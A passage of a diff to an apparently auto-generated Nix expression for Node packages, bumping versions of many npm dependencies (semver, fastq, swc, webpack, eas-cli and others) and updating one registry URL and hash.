sources."@cspell/dict-software-terms-3.3.18" sources."@cspell/dict-sql-2.1.3" sources."@cspell/dict-svelte-1.0.2" sources."@cspell/dict-swift-2.0.1" @@ -71603,7 +71763,7 @@ in sources."fast-equals-5.0.1" sources."fast-glob-3.3.2" sources."fast-json-stable-stringify-2.1.0" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."file-entry-cache-8.0.0" sources."fill-range-7.0.1" sources."find-up-simple-1.0.0" @@ -71655,7 +71815,7 @@ in sources."reusify-1.0.4" sources."rimraf-5.0.5" sources."run-parallel-1.2.0" - (sources."semver-7.5.4" // { + (sources."semver-7.6.0" // { dependencies = [ sources."lru-cache-6.0.0" ]; @@ -71774,7 +71934,7 @@ in sources."del-6.1.1" sources."dir-glob-3.0.1" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."find-up-4.1.0" sources."fs.realpath-1.0.0" @@ -71861,7 +72021,7 @@ in sources."diff-5.1.0" sources."diff2html-3.4.47" sources."emoji-regex-8.0.0" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."execa-8.0.1" sources."fetch-blob-3.2.0" sources."formdata-polyfill-4.0.10" @@ -71899,7 +72059,7 @@ in sources."strip-ansi-6.0.1" sources."strip-final-newline-3.0.0" sources."system-architecture-0.1.0" - sources."web-streams-polyfill-3.3.2" + sources."web-streams-polyfill-3.3.3" sources."which-2.0.2" sources."wrap-ansi-7.0.0" sources."y18n-5.0.8" @@ -71926,7 +72086,7 @@ in }; dependencies = [ sources."cross-spawn-7.0.3" - sources."dotenv-16.4.1" + sources."dotenv-16.4.4" sources."dotenv-expand-10.0.0" sources."isexe-2.0.0" sources."minimist-1.2.8" @@ -71954,7 +72114,7 @@ in }; dependencies = [ sources."@cspotcode/source-map-support-0.8.1" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.9" sources."@nodelib/fs.scandir-2.1.5" @@ -71983,17 +72143,17 @@ in ]; }) sources."@oclif/screen-3.0.8" - sources."@swc/core-1.3.107" - sources."@swc/counter-0.1.2" - sources."@swc/helpers-0.5.3" + sources."@swc/core-1.4.1" + sources."@swc/counter-0.1.3" + sources."@swc/helpers-0.5.6" sources."@swc/types-0.1.5" - sources."@swc/wasm-1.3.107" + sources."@swc/wasm-1.4.1" sources."@tsconfig/node10-1.0.9" sources."@tsconfig/node12-1.0.11" sources."@tsconfig/node14-1.0.3" sources."@tsconfig/node16-1.0.4" sources."@types/cli-progress-3.11.5" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."acorn-8.11.3" sources."acorn-walk-8.3.2" sources."ansi-escapes-4.3.2" @@ -72041,7 +72201,7 @@ in sources."delayed-stream-1.0.0" sources."diff-4.0.2" sources."dir-glob-3.0.1" - sources."dotenv-16.4.1" + sources."dotenv-16.4.4" sources."ejs-3.1.9" sources."emoji-regex-8.0.0" sources."end-of-stream-1.4.4" @@ -72052,7 +72212,7 @@ in sources."fast-glob-3.3.2" sources."fast-levenshtein-3.0.0" sources."fastest-levenshtein-1.0.16" - sources."fastq-1.17.0" + sources."fastq-1.17.1" (sources."figures-3.2.0" // { dependencies = [ sources."escape-string-regexp-1.0.5" @@ -72146,7 +72306,7 @@ in sources."rxjs-7.8.1" sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" sources."signal-exit-3.0.7" @@ -72223,15 +72383,17 @@ in sources."buffer-4.9.2" sources."buffer-queue-1.0.0" sources."bytes-3.1.2" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."caseless-0.12.0" sources."combined-stream-1.0.8" sources."core-util-is-1.0.2" sources."dashdash-1.14.1" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."delay-5.0.0" sources."delayed-stream-1.0.0" sources."ecc-jsbn-0.1.2" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."eventemitter3-4.0.7" sources."events-1.1.1" sources."extend-3.0.2" @@ -72244,16 +72406,16 @@ in sources."forever-agent-0.6.1" sources."form-data-2.3.3" sources."function-bind-1.1.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."getpass-0.1.7" sources."gopd-1.0.1" sources."har-schema-2.0.0" sources."har-validator-5.1.5" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" - sources."hasown-2.0.0" + sources."has-tostringtag-1.0.2" + sources."hasown-2.0.1" sources."http-signature-1.3.6" sources."http-status-1.7.3" sources."ieee754-1.1.13" @@ -72267,7 +72429,7 @@ in sources."is-arguments-1.1.1" sources."is-callable-1.2.7" sources."is-generator-function-1.0.10" - sources."is-typed-array-1.1.12" + sources."is-typed-array-1.1.13" sources."is-typedarray-1.0.0" sources."isarray-1.0.0" sources."isstream-0.1.2" @@ -72334,8 +72496,8 @@ in sources."safer-buffer-2.1.2" sources."sax-1.2.1" sources."semver-7.5.4" - sources."set-function-length-1.2.0" - sources."side-channel-1.0.4" + sources."set-function-length-1.2.1" + sources."side-channel-1.0.5" sources."socks5-client-1.2.8" sources."socks5-http-client-1.0.4" sources."socks5-https-client-1.2.1" @@ -72366,7 +72528,7 @@ in sources."util-deprecate-1.0.2" sources."uuid-8.0.0" sources."verror-1.10.0" - sources."which-typed-array-1.1.13" + sources."which-typed-array-1.1.14" sources."xml2js-0.5.0" sources."xmlbuilder-11.0.1" sources."yallist-4.0.0" @@ -72415,7 +72577,7 @@ in sources."universalify-0.1.2" ]; }) - (sources."@electron/notarize-2.2.1" // { + (sources."@electron/notarize-2.3.0" // { dependencies = [ sources."fs-extra-9.1.0" ]; @@ -72434,7 +72596,7 @@ in sources."minimatch-9.0.3" ]; }) - (sources."@electron/windows-sign-1.0.0" // { + (sources."@electron/windows-sign-1.1.1" // { dependencies = [ sources."fs-extra-11.2.0" ]; @@ -72452,7 +72614,7 @@ in sources."@types/cacheable-request-6.0.3" sources."@types/http-cache-semantics-4.0.4" sources."@types/keyv-3.1.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/responselike-1.0.3" sources."@types/yauzl-2.10.3" sources."@xmldom/xmldom-0.8.10" @@ -72510,6 +72672,7 @@ in sources."compare-version-0.1.2" sources."concat-map-0.0.1" sources."console-control-strings-1.1.0" + sources."cross-dirname-0.1.0" sources."cross-spawn-7.0.3" (sources."cross-spawn-windows-exe-1.2.0" // { dependencies = [ @@ -72528,7 +72691,7 @@ in }) sources."defaults-1.0.4" sources."defer-to-connect-2.0.1" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."delegates-1.0.0" sources."detect-libc-2.0.2" @@ -72541,8 +72704,10 @@ in sources."env-paths-2.2.1" sources."err-code-2.0.3" sources."error-ex-1.3.2" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es6-error-4.1.1" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" (sources."execa-1.0.0" // { dependencies = [ @@ -72559,7 +72724,7 @@ in sources."exponential-backoff-3.1.1" sources."extract-zip-2.0.1" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fd-slicer-1.1.0" sources."filename-reserved-regex-2.0.0" sources."filenamify-4.3.0" @@ -72580,7 +72745,7 @@ in sources."gauge-4.0.4" sources."get-caller-file-2.0.5" sources."get-installed-path-2.1.1" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" (sources."get-package-info-1.0.0" // { dependencies = [ sources."debug-2.6.9" @@ -72601,11 +72766,11 @@ in sources."got-11.8.6" sources."graceful-fs-4.2.11" sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" sources."has-unicode-2.0.1" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."homedir-polyfill-1.0.3" sources."hosted-git-info-2.8.9" sources."http-cache-semantics-4.1.1" @@ -72622,7 +72787,7 @@ in sources."inherits-2.0.4" sources."ini-1.3.8" sources."interpret-3.1.1" - sources."ip-2.0.0" + sources."ip-address-9.0.5" sources."is-arrayish-0.2.1" sources."is-core-module-2.13.1" sources."is-docker-2.2.1" @@ -72638,6 +72803,7 @@ in sources."is-wsl-2.2.0" sources."isbinaryfile-4.0.10" sources."isexe-2.0.0" + sources."jsbn-1.1.0" sources."json-buffer-3.0.1" sources."json-stringify-safe-5.0.1" sources."jsonfile-6.1.0" @@ -72737,6 +72903,11 @@ in ]; }) sources."plist-3.1.0" + (sources."postject-1.0.0-alpha.6" // { + dependencies = [ + sources."commander-9.5.0" + ]; + }) sources."progress-2.0.3" sources."promise-inflight-1.0.1" sources."promise-retry-2.0.1" @@ -72769,7 +72940,7 @@ in sources."rxjs-7.8.1" sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" - (sources."semver-7.5.4" // { + (sources."semver-7.6.0" // { dependencies = [ sources."lru-cache-6.0.0" ]; @@ -72782,14 +72953,14 @@ in sources."signal-exit-3.0.7" sources."slice-ansi-3.0.0" sources."smart-buffer-4.2.0" - sources."socks-2.7.1" + sources."socks-2.8.0" sources."socks-proxy-agent-7.0.0" sources."source-map-0.6.1" sources."source-map-support-0.5.21" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."sprintf-js-1.1.3" sources."ssri-9.0.1" sources."string-width-4.2.3" @@ -72858,10 +73029,10 @@ in eas-cli = nodeEnv.buildNodePackage { name = "eas-cli"; packageName = "eas-cli"; - version = "7.1.2"; + version = "7.2.0"; src = fetchurl { - url = "https://registry.npmjs.org/eas-cli/-/eas-cli-7.1.2.tgz"; - sha512 = "1t84QDPqZOupqSp8pKNmNRzn9BiABhjN3Ch+nSLLiFPg+L1dnmwDbgE+YIMSdkXEtj1zs6Gl0uGtvXSkQWgIUA=="; + url = "https://registry.npmjs.org/eas-cli/-/eas-cli-7.2.0.tgz"; + sha512 = "LZlPsVaNcTwGomKoBCUmOs9lIgCRQ63/ApWw5q6gcDyCmtuw+lcJCQ8zsGTKjUBMuMjRz1IiguTJ04MRBmR6jA=="; }; dependencies = [ sources."@0no-co/graphql.web-1.0.4" @@ -72877,7 +73048,7 @@ in sources."@jridgewell/trace-mapping-0.3.9" ]; }) - sources."@expo/apple-utils-1.3.2" + sources."@expo/apple-utils-1.4.0" (sources."@expo/bunyan-4.0.0" // { dependencies = [ sources."uuid-8.3.2" @@ -72896,19 +73067,14 @@ in ]; }) sources."@expo/config-types-50.0.0" - sources."@expo/eas-build-job-1.0.59" - (sources."@expo/eas-json-7.1.2" // { + sources."@expo/eas-build-job-1.0.61" + (sources."@expo/eas-json-7.1.3" // { dependencies = [ (sources."@babel/code-frame-7.23.5" // { dependencies = [ sources."chalk-2.4.2" ]; }) - (sources."@expo/eas-build-job-1.0.56" // { - dependencies = [ - sources."semver-7.5.4" - ]; - }) sources."semver-7.5.2" sources."tslib-2.4.1" ]; @@ -72936,7 +73102,7 @@ in ]; }) sources."@expo/json-file-8.2.37" - sources."@expo/logger-1.0.37" + sources."@expo/logger-1.0.57" sources."@expo/multipart-body-parser-1.1.0" sources."@expo/osascript-2.0.33" sources."@expo/package-manager-1.1.2" @@ -72977,7 +73143,7 @@ in }) sources."@expo/sdk-runtime-versions-1.0.0" sources."@expo/spawn-async-1.7.0" - (sources."@expo/steps-1.0.51" // { + (sources."@expo/steps-1.0.67" // { dependencies = [ sources."@expo/spawn-async-1.7.2" sources."arg-5.0.2" @@ -72987,7 +73153,7 @@ in sources."@hapi/hoek-9.3.0" sources."@hapi/topo-5.1.0" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.22" @@ -73022,18 +73188,18 @@ in sources."@sideway/address-4.1.5" sources."@sideway/formula-3.0.1" sources."@sideway/pinpoint-2.0.0" - sources."@swc/core-1.3.107" - sources."@swc/counter-0.1.2" - sources."@swc/helpers-0.5.3" + sources."@swc/core-1.4.1" + sources."@swc/counter-0.1.3" + sources."@swc/helpers-0.5.6" sources."@swc/types-0.1.5" - sources."@swc/wasm-1.3.107" + sources."@swc/wasm-1.4.1" sources."@tsconfig/node10-1.0.9" sources."@tsconfig/node12-1.0.11" sources."@tsconfig/node14-1.0.3" sources."@tsconfig/node16-1.0.4" sources."@types/bunyan-1.8.11" sources."@types/cli-progress-3.11.5" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@urql/core-4.0.11" sources."@urql/exchange-retry-1.2.0" sources."@xmldom/xmldom-0.7.13" @@ -73121,7 +73287,7 @@ in sources."escape-string-regexp-1.0.5" sources."esprima-4.0.1" sources."exec-async-2.2.0" - (sources."expo-modules-autolinking-1.10.2" // { + (sources."expo-modules-autolinking-1.10.3" // { dependencies = [ sources."commander-7.2.0" sources."fs-extra-9.1.0" @@ -73129,7 +73295,7 @@ in }) sources."fast-deep-equal-3.1.3" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fetch-retry-4.1.1" sources."figures-3.2.0" sources."filelist-1.0.4" @@ -73450,7 +73616,7 @@ in dependencies = [ sources."@alcalzone/ansi-tokenize-0.1.3" sources."@types/prop-types-15.7.11" - sources."@types/react-18.2.51" + sources."@types/react-18.2.56" sources."@types/scheduler-0.16.8" sources."ajv-8.12.0" sources."ajv-formats-2.1.1" @@ -73551,7 +73717,7 @@ in ]; }) sources."scheduler-0.23.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" sources."shell-quote-1.8.1" @@ -73673,7 +73839,7 @@ in sources."fast-deep-equal-3.1.3" sources."fast-json-stable-stringify-2.1.0" sources."fast-levenshtein-2.0.6" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."file-entry-cache-6.0.1" sources."find-up-5.0.0" sources."flat-cache-3.2.0" @@ -73952,7 +74118,7 @@ in }) (sources."@expo/config-plugins-6.0.2" // { dependencies = [ - sources."semver-7.5.4" + sources."semver-7.6.0" ]; }) sources."@expo/config-types-48.0.0" @@ -74016,7 +74182,7 @@ in sources."@expo/json-file-8.2.36" sources."@expo/plist-0.0.18" sources."lru-cache-6.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" ]; }) sources."@expo/config-types-45.0.0" @@ -74046,7 +74212,7 @@ in sources."@expo/config-plugins-6.0.2" sources."@expo/config-types-48.0.0" sources."lru-cache-6.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" ]; }) sources."@expo/osascript-2.0.33" @@ -74102,7 +74268,7 @@ in }) sources."@jest/types-26.6.2" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/source-map-0.3.5" sources."@jridgewell/sourcemap-codec-1.4.15" @@ -74118,7 +74284,7 @@ in (sources."@npmcli/fs-1.1.1" // { dependencies = [ sources."lru-cache-6.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" ]; }) (sources."@npmcli/move-file-1.1.2" // { @@ -74128,17 +74294,17 @@ in ]; }) sources."@react-native/normalize-color-2.1.0" - sources."@rspack/binding-0.5.3" - sources."@rspack/binding-darwin-arm64-0.5.3" - sources."@rspack/binding-darwin-x64-0.5.3" - sources."@rspack/binding-linux-arm64-gnu-0.5.3" - sources."@rspack/binding-linux-arm64-musl-0.5.3" - sources."@rspack/binding-linux-x64-gnu-0.5.3" - sources."@rspack/binding-linux-x64-musl-0.5.3" - sources."@rspack/binding-win32-arm64-msvc-0.5.3" - sources."@rspack/binding-win32-ia32-msvc-0.5.3" - sources."@rspack/binding-win32-x64-msvc-0.5.3" - (sources."@rspack/core-0.5.3" // { + sources."@rspack/binding-0.5.4" + sources."@rspack/binding-darwin-arm64-0.5.4" + sources."@rspack/binding-darwin-x64-0.5.4" + sources."@rspack/binding-linux-arm64-gnu-0.5.4" + sources."@rspack/binding-linux-arm64-musl-0.5.4" + sources."@rspack/binding-linux-x64-gnu-0.5.4" + sources."@rspack/binding-linux-x64-musl-0.5.4" + sources."@rspack/binding-win32-arm64-msvc-0.5.4" + sources."@rspack/binding-win32-ia32-msvc-0.5.4" + sources."@rspack/binding-win32-x64-msvc-0.5.4" + (sources."@rspack/core-0.5.4" // { dependencies = [ sources."graceful-fs-4.2.10" ]; @@ -74148,7 +74314,7 @@ in sources."@sideway/formula-3.0.1" sources."@sideway/pinpoint-2.0.0" sources."@sindresorhus/is-4.6.0" - sources."@swc/helpers-0.5.3" + sources."@swc/helpers-0.5.6" sources."@szmarczak/http-timer-4.0.6" sources."@trysound/sax-0.2.0" sources."@types/body-parser-1.19.5" @@ -74160,7 +74326,7 @@ in sources."@types/eslint-scope-3.7.7" sources."@types/estree-1.0.5" sources."@types/express-4.17.21" - sources."@types/express-serve-static-core-4.17.42" + sources."@types/express-serve-static-core-4.17.43" sources."@types/glob-7.2.0" sources."@types/html-minifier-terser-6.1.0" sources."@types/http-cache-semantics-4.0.4" @@ -74173,7 +74339,7 @@ in sources."@types/keyv-3.1.4" sources."@types/mime-1.3.5" sources."@types/minimatch-5.1.2" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/node-forge-1.3.11" sources."@types/qs-6.9.11" sources."@types/range-parser-1.2.7" @@ -74286,7 +74452,7 @@ in sources."bplist-parser-0.2.0" sources."brace-expansion-1.1.11" sources."braces-3.0.2" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."buffer-alloc-1.2.0" sources."buffer-alloc-unsafe-1.1.0" sources."buffer-fill-1.0.0" @@ -74303,12 +74469,12 @@ in }) sources."cacheable-lookup-5.0.4" sources."cacheable-request-7.0.4" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."callsite-1.0.0" sources."camel-case-4.1.2" sources."camelcase-6.3.0" sources."caniuse-api-3.0.0" - sources."caniuse-lite-1.0.30001582" + sources."caniuse-lite-1.0.30001587" (sources."chalk-4.1.2" // { dependencies = [ sources."ansi-styles-4.3.0" @@ -74319,7 +74485,7 @@ in ]; }) sources."charenc-0.0.2" - sources."chokidar-3.5.3" + sources."chokidar-3.6.0" sources."chownr-2.0.0" sources."chrome-trace-event-1.0.3" sources."ci-info-3.9.0" @@ -74389,7 +74555,7 @@ in sources."slash-4.0.0" ]; }) - sources."core-js-compat-3.35.1" + sources."core-js-compat-3.36.0" sources."core-util-is-1.0.3" sources."cross-fetch-3.1.8" sources."cross-spawn-7.0.3" @@ -74399,7 +74565,7 @@ in (sources."css-loader-6.10.0" // { dependencies = [ sources."lru-cache-6.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" ]; }) (sources."css-minimizer-webpack-plugin-3.4.1" // { @@ -74430,7 +74596,7 @@ in sources."default-gateway-4.2.0" sources."defaults-1.0.4" sources."defer-to-connect-2.0.1" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-lazy-prop-2.0.0" (sources."del-6.1.1" // { dependencies = [ @@ -74453,7 +74619,7 @@ in sources."duplexer3-0.1.5" sources."eastasianwidth-0.2.0" sources."ee-first-1.1.1" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."emoji-regex-9.2.2" sources."emojis-list-3.0.0" sources."encodeurl-1.0.2" @@ -74467,8 +74633,10 @@ in sources."entities-2.2.0" sources."env-editor-0.4.2" sources."eol-0.9.1" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es-module-lexer-1.4.1" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-html-1.0.3" sources."escape-string-regexp-1.0.5" sources."eslint-scope-5.1.1" @@ -74517,7 +74685,7 @@ in sources."lru-cache-6.0.0" sources."path-key-2.0.1" sources."regenerator-runtime-0.14.1" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."shebang-command-1.2.0" sources."shebang-regex-1.0.0" sources."uuid-3.4.0" @@ -74533,7 +74701,7 @@ in sources."expo-constants-14.3.0" sources."expo-file-system-15.3.0" sources."lru-cache-6.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."uuid-3.4.0" ]; }) @@ -74543,7 +74711,7 @@ in sources."@expo/config-plugins-6.0.2" sources."@expo/config-types-48.0.0" sources."lru-cache-6.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."uuid-3.4.0" ]; }) @@ -74595,7 +74763,7 @@ in sources."fast-deep-equal-3.1.3" sources."fast-glob-3.3.2" sources."fast-json-stable-stringify-2.1.0" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."faye-websocket-0.11.4" sources."fbemitter-3.0.0" sources."fbjs-3.0.5" @@ -74638,10 +74806,9 @@ in sources."fs-minipass-2.1.0" sources."fs-monkey-1.0.5" sources."fs.realpath-1.0.0" - sources."fsevents-2.3.3" sources."function-bind-1.1.2" sources."gensync-1.0.0-beta.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-port-3.2.0" sources."get-stream-5.2.0" sources."getenv-1.0.0" @@ -74657,12 +74824,12 @@ in sources."graphql-tag-2.12.6" sources."handle-thing-2.0.1" sources."has-flag-3.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" sources."hasbin-1.2.3" sources."hashids-1.1.4" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."he-1.2.0" (sources."hosted-git-info-3.0.8" // { dependencies = [ @@ -74832,7 +74999,7 @@ in sources."mime-types-2.1.35" sources."mimic-fn-1.2.0" sources."mimic-response-1.0.1" - (sources."mini-css-extract-plugin-2.7.7" // { + (sources."mini-css-extract-plugin-2.8.0" // { dependencies = [ sources."ajv-keywords-5.1.0" sources."schema-utils-4.2.0" @@ -74988,7 +75155,7 @@ in ]; }) sources."pngjs-3.4.0" - sources."postcss-8.4.33" + sources."postcss-8.4.35" sources."postcss-calc-8.2.4" sources."postcss-colormin-5.3.1" sources."postcss-convert-values-5.1.3" @@ -75154,13 +75321,13 @@ in sources."statuses-1.4.0" ]; }) - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."setimmediate-1.0.5" sources."setprototypeof-1.2.0" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" sources."shell-quote-1.8.1" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-3.0.7" (sources."simple-plist-1.4.0" // { dependencies = [ @@ -75272,7 +75439,7 @@ in ]; }) sources."terminal-link-2.1.1" - (sources."terser-5.27.0" // { + (sources."terser-5.27.1" // { dependencies = [ sources."commander-2.20.3" sources."source-map-support-0.5.21" @@ -75338,7 +75505,7 @@ in sources."wbuf-1.7.3" sources."wcwidth-1.0.1" sources."webidl-conversions-3.0.1" - (sources."webpack-5.90.0" // { + (sources."webpack-5.90.2" // { dependencies = [ sources."ajv-6.12.6" sources."enhanced-resolve-5.15.0" @@ -75492,15 +75659,15 @@ in sources."@babel/traverse-7.23.9" sources."@babel/types-7.23.9" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.22" sources."@types/minimist-1.2.5" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/normalize-package-data-2.4.4" sources."@types/prop-types-15.7.11" - sources."@types/react-18.2.51" + sources."@types/react-18.2.56" sources."@types/scheduler-0.16.8" sources."@types/yauzl-2.10.3" sources."@types/yoga-layout-1.9.2" @@ -75519,7 +75686,7 @@ in sources."base64-js-1.5.1" sources."bl-4.1.0" sources."brace-expansion-1.1.11" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."buffer-5.7.1" sources."buffer-crc32-0.2.13" sources."bufferutil-4.0.8" @@ -75528,7 +75695,7 @@ in sources."callsites-3.1.0" sources."camelcase-5.3.1" sources."camelcase-keys-6.2.2" - sources."caniuse-lite-1.0.30001582" + sources."caniuse-lite-1.0.30001587" sources."chalk-2.4.2" sources."chownr-1.1.4" sources."ci-info-2.0.0" @@ -75554,12 +75721,12 @@ in }) sources."delay-5.0.0" sources."devtools-protocol-0.0.981744" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."emoji-regex-8.0.0" sources."encoding-0.1.13" sources."end-of-stream-1.4.4" sources."error-ex-1.3.2" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" sources."extract-zip-2.0.1" sources."fd-slicer-1.1.0" @@ -75574,7 +75741,7 @@ in sources."globals-11.12.0" sources."hard-rejection-2.1.0" sources."has-flag-3.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" (sources."hosted-git-info-4.1.0" // { dependencies = [ sources."lru-cache-6.0.0" @@ -75633,7 +75800,7 @@ in (sources."normalize-package-data-3.0.3" // { dependencies = [ sources."lru-cache-6.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."yallist-4.0.0" ]; }) @@ -75696,9 +75863,9 @@ in ]; }) sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" (sources."stack-utils-2.0.6" // { dependencies = [ sources."escape-string-regexp-2.0.0" @@ -75771,8 +75938,8 @@ in sources."@inquirer/prompts-3.3.2" sources."@inquirer/rawlist-1.2.16" sources."@inquirer/select-1.3.3" - sources."@inquirer/type-1.1.6" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@inquirer/type-1.2.0" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.9" sources."@nodelib/fs.scandir-2.1.5" @@ -75796,18 +75963,18 @@ in sources."@oclif/plugin-help-5.2.20" sources."@oclif/plugin-plugins-2.4.7" sources."@oclif/screen-1.0.4" - sources."@swc/core-1.3.107" - sources."@swc/counter-0.1.2" - sources."@swc/helpers-0.5.3" + sources."@swc/core-1.4.1" + sources."@swc/counter-0.1.3" + sources."@swc/helpers-0.5.6" sources."@swc/types-0.1.5" - sources."@swc/wasm-1.3.107" + sources."@swc/wasm-1.4.1" sources."@tsconfig/node10-1.0.9" sources."@tsconfig/node12-1.0.11" sources."@tsconfig/node14-1.0.3" sources."@tsconfig/node16-1.0.4" sources."@types/cli-progress-3.11.5" sources."@types/mute-stream-0.0.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/wrap-ansi-3.0.0" sources."acorn-8.11.3" sources."acorn-walk-8.3.2" @@ -75918,7 +76085,7 @@ in sources."extract-stack-1.0.0" sources."fast-glob-3.3.2" sources."fast-levenshtein-2.0.6" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."faunadb-4.8.0" sources."figures-3.2.0" (sources."filelist-1.0.4" // { @@ -76023,7 +76190,7 @@ in sources."rxjs-7.8.1" sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" sources."signal-exit-4.1.0" @@ -76099,7 +76266,7 @@ in sources."concat-map-0.0.1" sources."detect-indent-6.1.0" sources."emoji-regex-8.0.0" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."fs.realpath-1.0.0" sources."get-caller-file-2.0.5" sources."glob-7.2.3" @@ -76146,7 +76313,7 @@ in sources."base64-js-1.5.1" sources."bl-4.1.0" sources."buffer-5.7.1" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."chalk-5.3.0" sources."chardet-0.7.0" sources."clean-stack-5.2.0" @@ -76159,8 +76326,10 @@ in sources."color-name-1.1.4" sources."cross-spawn-7.0.3" sources."defaults-1.0.4" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."emoji-regex-10.3.0" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."esc-exit-3.0.1" sources."escape-string-regexp-5.0.0" sources."execa-8.0.1" @@ -76174,20 +76343,20 @@ in sources."function-bind-1.1.2" sources."fuzzy-search-3.2.1" sources."get-east-asian-width-1.2.0" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-stream-8.0.1" sources."gopd-1.0.1" sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."human-signals-5.0.0" sources."iconv-lite-0.4.24" sources."ieee754-1.2.1" sources."indent-string-5.0.0" sources."inherits-2.0.4" - (sources."inquirer-9.2.13" // { + (sources."inquirer-9.2.14" // { dependencies = [ sources."ansi-regex-5.0.1" sources."emoji-regex-8.0.0" @@ -76254,7 +76423,7 @@ in sources."rxjs-7.8.1" sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" - 